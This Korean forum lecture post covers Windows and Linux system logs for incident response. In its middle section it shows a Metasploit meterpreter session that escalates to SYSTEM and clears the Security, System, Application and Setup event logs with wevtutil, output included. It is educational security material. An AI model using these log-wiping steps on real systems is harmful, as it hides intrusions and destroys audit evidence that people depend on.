|
http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8576 [복사]
(이미지는 /var/log/boot 로그의 예시)
윈도우 : eventlog
바이너리 파일로 작성된다.
- 메타스플로잇으로 윈도우 서버 로그 기록 지우기 -
[*] Sending stage (1189423 bytes) to 192.168.0.1
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.1:49164) at 2017-11-10 21:29:00 +0900
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN2008\Administrator @ WIN2008
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
meterpreter > getuid
Server username: WIN2008\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 636 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>wevtutil.exe el
wevtutil.exe el
Analytic
Application
....중략.....
Microsoft-Windows-osk/Diagnostic
Microsoft-Windows-stobject/Diagnostic
Security
Setup
System
TabletPC_InputPanel_Channel
ThinPrint Diagnostics
WINDOWS_MP4SDECD_CHANNEL
WMPSetup
WMPSyncEngine
Windows PowerShell
microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager/Admin
C:\Windows\system32>wevtutil.exe cl "System"
wevtutil.exe cl "System"
C:\Windows\system32>wevtutil.exe cl "Application"
wevtutil.exe cl "Application"
C:\Windows\system32>wevtutil.exe cl "Security"
wevtutil.exe cl "Security"
C:\Windows\system32>wevtutil.exe cl "Setup"
wevtutil.exe cl "Setup"
- 이벤트 로그를 지우는 방법 -
1. 이벤트 뷰를 시작한다.
2. 콘솔 트리에서 지우려는 이벤트 로그로 이동한다.
3. 작업 메뉴에서 "로그 지우기"를 클릭한다.
4. 이벤트 로그를 지우거나 복사한 후 지울 수 있다.
5. 명령 줄을 사용하여 이벤트 로그를 지우는 방법은 다음과 같다.
명령 프롬프트를 열고 다음 명령을 입력한다.
wevtutil cl <로그 이름> [/bu:<백업 파일 이름>]
추가적으로 고려해야 할 사항은
이 작업을 수행하기 위해 로그에 "지우기" 권한이 있어야 한다.
일반적으로 관리자에게는 이 권한이 부여된다.
다른 그룹에게 로그에 대한 "지우기" 권한을 설정하려면
다음과 같이 명령을 입력하면 된다.
wevtutil sl <로그 이름> /ca:<보안 기술자>
로그에 대한 SDDL(보안 기술자 정의 언어) 문자열을 보려면 다음 명령을 사용한다.
wevtutil gl <로그 이름>
예를 들어, "백업 연산자" 그룹에 대한 "응용 프로그램"
로그의 "지우기" 권한을 추가하는 방법은 다음과 같다.
wevtutil sl 응용 프로그램 /ca:O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;B
로그 확인(윈도우 2008기준)
시작 > 제어판 > 관리도구 > 이벤트 뷰 > Windows 로그
리눅스 : syslog (/var/log)
텍스트를 기반으로 작성된다.
하지만 바이너리로 저장되는 것도 일부있다.
#cat /var/log/messages
사람이 일기 편한 형태의 텍스트 파일이다.
시스템 변경 사항들이 저장되어 있다.
침해사고대응에서는 이 부분에서 유의미한 로그를 발견하기 어렵다.
시스템 관리자의 로그가 많지만 침해사고에는 별로 없다.
하지만 꼭 확인을 해야한다.
#cat /var/log/auth.log
인증 로그, /var/log/secure도 존재한다.
원격 또는 로컬 접속등의 로그 정보가 존재한다.
#cat /var/log/wtmp
사용자의 로그인/로그아웃, 시스템 부팅/셧다운 히스토리 정보
#cat /var/run/utmp
|
Hit : 644 Date : 2024/05/20 10:42
|
1588, 
80/80 
